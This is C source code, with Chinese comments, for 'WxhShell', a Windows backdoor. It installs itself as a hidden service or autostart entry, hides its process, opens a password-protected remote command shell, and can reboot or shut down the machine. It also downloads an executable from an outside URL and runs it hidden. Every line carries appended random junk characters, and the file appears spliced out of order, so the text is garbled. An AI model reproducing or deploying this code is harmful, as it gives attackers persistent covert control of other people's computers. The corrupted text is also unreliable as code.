} PROCESS_BASIC_INFORMATION; h9}*_qc&kV
mW{>
PROCNTQSIP NtQueryInformationProcess; W\w#}kY
4*E5@{D
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fn5-Tnsq*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nP*% N|0
N#-pl:J(
HANDLE hProcess; 1 JIU5u)
PROCESS_BASIC_INFORMATION pbi; H=f|X<8
]b sabS?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mK"s*tD
if(NULL == hInst ) return 0; to,\n"$~!
Fzt?M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )$df6sq
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3/ }
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); idX''%"
GPL%8 YY
if (!NtQueryInformationProcess) return 0; RB% y($
LGZa
l&9AY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NV9JMB{q
if(!hProcess) return 0; K5XW&|tY!
Av5:/c.B
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MpZ\j
Vr( Z;YO
CloseHandle(hProcess); y35~bz^2
a@qc?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0{8L^
jB/
if(hProcess==NULL) return 0; %-.;sO=g
rvd%z7Z1o
HMODULE hMod; !3mt<i]a"
char procName[255];
#C?M-
unsigned long cbNeeded; hKWWN`;b !
=EA:fq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oo7}Hg>
xY!ud)
CloseHandle(hProcess); Nf3UVK8LtS
4sn\UuKyL
if(strstr(procName,"services")) return 1; // 以服务启动 ?7LvJ8
*x;4::'Jn
return 0; // 注册表启动 : N$-SV
} r-.@MbBm
h"0)spF"d
// 主模块 u5glKE
int StartWxhshell(LPSTR lpCmdLine) ;`:YZ+2
Z
{ 1,bE[_
SOCKET wsl; "2sk1
BOOL val=TRUE; N8#j|yf
int port=0; T>L?\-
struct sockaddr_in door; lG94^|U
A(
vdlj
if(wscfg.ws_autoins) Install(); YE{t?Y\5
*`Vm ncv3
port=atoi(lpCmdLine); `V\?YS}
=D Q:0w
if(port<=0) port=wscfg.ws_port; p&]V!O
1hGj?L0m.
WSADATA data; X<[ qX*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |3@DCbT
9_O4yTL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 23>[-XZb[O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lNa+NtQu
door.sin_family = AF_INET; 1nskf*Z
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %>i:C-l8
door.sin_port = htons(port); *pS 7,Hm
F!0iM)1o
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ow3.jHsLA
closesocket(wsl); >5L_t
return 1; %KT}Map
} c:9n8skE7
Dpw*m.f
if(listen(wsl,2) == INVALID_SOCKET) { cAEvv[
closesocket(wsl); .\^0RyJE
return 1; U{hu7
} 8SKrpwy
Wxhshell(wsl); ~S\L(B(
WSACleanup(); %|D)%|Z
0x!&>
return 0; @&O4a2+
HRDpFMA/~
} p.=9[`
wLXJ?iy3
// 以NT服务方式启动 U"p</Q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V\<2oG
{ R5 4[U
DWORD status = 0; X(nyTR8
DWORD specificError = 0xfffffff; K=v:qY4Z
?[NC}LC
serviceStatus.dwServiceType = SERVICE_WIN32; "yaxHd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; SXOAa<u5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nq6'7'x
serviceStatus.dwWin32ExitCode = 0; GN(<$,~g
serviceStatus.dwServiceSpecificExitCode = 0; !ou#g5Q@z
serviceStatus.dwCheckPoint = 0; ~,HFd`
serviceStatus.dwWaitHint = 0; 8aP/vToa
mSxn7LG
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HN{c)DIm]
if (hServiceStatusHandle==0) return; ~dRstH7u
cA
q3Gh
status = GetLastError(); 0^-1d2Z~
if (status!=NO_ERROR) WxGD*%
{ &HM-UC|
serviceStatus.dwCurrentState = SERVICE_STOPPED; qM(}|fMbN
serviceStatus.dwCheckPoint = 0; k*hl"oL"X
serviceStatus.dwWaitHint = 0; lZcNio
serviceStatus.dwWin32ExitCode = status; UPfO;Z`hJ
serviceStatus.dwServiceSpecificExitCode = specificError; s.}K?)mH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \7/yWd{N$
return; U+)p'%f;
} y3dk4s77
LEgP-sW
serviceStatus.dwCurrentState = SERVICE_RUNNING; FRrp@hE
serviceStatus.dwCheckPoint = 0; yS\&2"o
serviceStatus.dwWaitHint = 0; \% =\4%:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,94<j,"
} zzQWHg]/
:;7I_tb
// 处理NT服务事件,比如:启动、停止 fo@^=-4A-
VOID WINAPI NTServiceHandler(DWORD fdwControl) pD732L@q
{ 9RaO[j`
switch(fdwControl) (G>[A}-
{ ;[sW\Ou
case SERVICE_CONTROL_STOP: S }`sp[6
serviceStatus.dwWin32ExitCode = 0; EMW6'
serviceStatus.dwCurrentState = SERVICE_STOPPED;
KeQcL4<
serviceStatus.dwCheckPoint = 0; YZBh}l6t
serviceStatus.dwWaitHint = 0; kW g.-$pp
{ (8JU!lin
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5G*cAlU
} } p'ZMj&
return; ;hX( /T
case SERVICE_CONTROL_PAUSE: vjGQ! xF
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0Z9DewwP
break; Z .6dL
case SERVICE_CONTROL_CONTINUE: hi0HEm\
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8vY-bm,e
break; >d 2Fa4u3
case SERVICE_CONTROL_INTERROGATE: 5~JT*Ny
break; H$(bSw$
}; zN4OrG0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ic#xz;elM
} JQ&t"`\k
2d !'9mA
// 标准应用程序主函数 i<m(neX[H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
Pd*[i7zhC
{ I0)`tQ+
w
)R5P[b
// 获取操作系统版本 JbMTULA
OsIsNt=GetOsVer(); $1an#~
GetModuleFileName(NULL,ExeFile,MAX_PATH); _IDZ.\'>$
pN%&`]Wev
// 从命令行安装 N4!`iS Y
if(strpbrk(lpCmdLine,"iI")) Install(); &v{Ehkr*
,BU;i%G&s
// 下载执行文件 7~/ cz_
if(wscfg.ws_downexe) { %z><)7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W lMcEje
WinExec(wscfg.ws_filenam,SW_HIDE); OU[<\d
} *U?O4E9
NB"S,\M0
if(!OsIsNt) { S\k <
// 如果时win9x,隐藏进程并且设置为注册表启动 e3?=1ZB
HideProc(); :]^e-p!z
StartWxhshell(lpCmdLine); ~&?bU]F
} x *Lt]]A
else ff"wg\O4
if(StartFromService()) %@/^UE:
// 以服务方式启动 J-F".6i5
StartServiceCtrlDispatcher(DispatchTable); G 6sK3K
else f!Q\M1t)
// 普通方式启动 T~TP
StartWxhshell(lpCmdLine); yB*,)x0
@
\hB BG8=&
return 0; <uH8Fivb
} `FP?9R6Y
WNjwv/
kN1MPd4Yh
NO"PO
@&Wk
=========================================== Ccf/hA#mb
+eM${JyXH
XpIiJry!6
a&y^Ps6=
c7Z4u|G
Zp_(vOc
" d2
^}ooE
3^ Yc%
#include <stdio.h> IV QH
p
#include <string.h> U2oCSo5:3N
#include <windows.h> Ykbg5Z
#include <winsock2.h> u2V-V#jS
#include <winsvc.h> *2'8d8>R%]
#include <urlmon.h> K"}fD;3
_]Hna <Ly
#pragma comment (lib, "Ws2_32.lib") g*|j+<:7
#pragma comment (lib, "urlmon.lib") %\As
\{,TpK.
#define MAX_USER 100 // 最大客户端连接数 W.7rHa
#define BUF_SOCK 200 // sock buffer {|+Y;V`
#define KEY_BUFF 255 // 输入 buffer (L_-!=e
!d*[QD8
#define REBOOT 0 // 重启 Zo9<96I&
#define SHUTDOWN 1 // 关机 8sG3<$Z^
$Gn.G_"v
#define DEF_PORT 5000 // 监听端口 e%4?-{(
TOYK'|lwM
#define REG_LEN 16 // 注册表键长度 #x%'U}sF
#define SVC_LEN 80 // NT服务名长度 90}{4&C.^
QFyL2Xes/
// 从dll定义API &J[a.:..
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8s%/5v"
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^S9y7b^;r
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h`fVQN.3
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {Z.6\G&q
DT1gy:?L
// wxhshell配置信息 [&Xp]:M'D
struct WSCFG { p|4qkJK8
int ws_port; // 监听端口 Gn]36~)*H
char ws_passstr[REG_LEN]; // 口令 e_vsiT
int ws_autoins; // 安装标记, 1=yes 0=no %B3~t>
char ws_regname[REG_LEN]; // 注册表键名 [}X|&`'i
char ws_svcname[REG_LEN]; // 服务名 ?mQ^"9^XS
char ws_svcdisp[SVC_LEN]; // 服务显示名 &v\F ah U
char ws_svcdesc[SVC_LEN]; // 服务描述信息 cpY{o^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hh<H~s [
int ws_downexe; // 下载执行标记, 1=yes 0=no ~,'{\jDrS
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SGd]o"VF
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <t%gl5}|
wN2+3LY{
}; (z?HyxRT
]' mbHkn68
// default Wxhshell configuration \/-c)
struct WSCFG wscfg={DEF_PORT, .J#'k+>
"xuhuanlingzhe", aD/Rr3v>
1, E$d3+``
"Wxhshell", FoefBo?g65
"Wxhshell", OfsP5*d
"WxhShell Service", 3JoY-
"Wrsky Windows CmdShell Service", z(PUoV:?
"Please Input Your Password: ", ZTC>Ufu2!
1, _Fb}zPU!
"http://www.wrsky.com/wxhshell.exe", JFq
wC=-
"Wxhshell.exe" Pg4&}bX:I
}; ,CO2d)}
vG&>-Z
// 消息定义模块 ,N/@=As9$
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C3AWXO ^
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2`yhxO
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~PQ.l\C
char *msg_ws_ext="\n\rExit."; NGra/s,9|
char *msg_ws_end="\n\rQuit."; ~{c ?-qb
char *msg_ws_boot="\n\rReboot..."; ]`o5eByo
char *msg_ws_poff="\n\rShutdown..."; h#rP]o@
char *msg_ws_down="\n\rSave to "; O--p)\
3WV(Ok
char *msg_ws_err="\n\rErr!"; !U`&a=k
char *msg_ws_ok="\n\rOK!"; Tw~R-SiS`s
EZtU6kW"
char ExeFile[MAX_PATH]; {%jAp11y+O
int nUser = 0; ~C-Sr@ a?/
HANDLE handles[MAX_USER]; ~W'DEpq_
int OsIsNt; GR,2^]<{
~z[`G#dU
SERVICE_STATUS serviceStatus; 01bCP
SERVICE_STATUS_HANDLE hServiceStatusHandle; J?4{#p
NW|B|kc
// 函数声明 M!mL/*G@YE
int Install(void); p l)":}/)
int Uninstall(void); $0* sjXV
int DownloadFile(char *sURL, SOCKET wsh); Xz]l#w4Pp
int Boot(int flag); D{9a'0J
void HideProc(void); verI~M$v{
int GetOsVer(void); dg D-"-O
int Wxhshell(SOCKET wsl); X<ex
>sM
void TalkWithClient(void *cs); GT>'|~e
int CmdShell(SOCKET sock); ?7\V)$00(&
int StartFromService(void); w+$$uz
int StartWxhshell(LPSTR lpCmdLine); =g% L$b<i
W 4{ T<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eSPS3|YYn
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #%,X),%-
7KtU\u
// 数据结构和表定义 +Z#=z,.^
SERVICE_TABLE_ENTRY DispatchTable[] = SH*'<
{ 5!0iK9O
{wscfg.ws_svcname, NTServiceMain}, f5}afPk
{NULL, NULL} )1 <0c@g=
}; yoE-a
{uDW<